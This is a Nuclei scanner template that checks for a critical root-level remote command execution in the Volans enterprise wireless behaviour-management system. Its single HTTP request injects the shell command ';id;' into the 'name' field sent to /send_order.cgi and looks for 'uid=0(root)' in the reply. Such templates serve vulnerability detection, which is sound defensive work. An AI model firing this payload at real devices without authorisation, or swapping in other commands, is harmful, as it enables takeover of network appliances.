id: volans

info:
  name: volans
  author: xiaokv
  severity: critical
  description: 飞鱼星企业级智能无线上网行为管理系统RCE
  reference: http://www.xiaokv.com
  tags: volans

http:
  - raw:
      - |
        POST /send_order.cgi?parameter=operation HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        
        {"opid":"1","name":";id;","type":"rest"}
        
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid=0(root)"
        condition: and

      - type: status
        status:
          - 200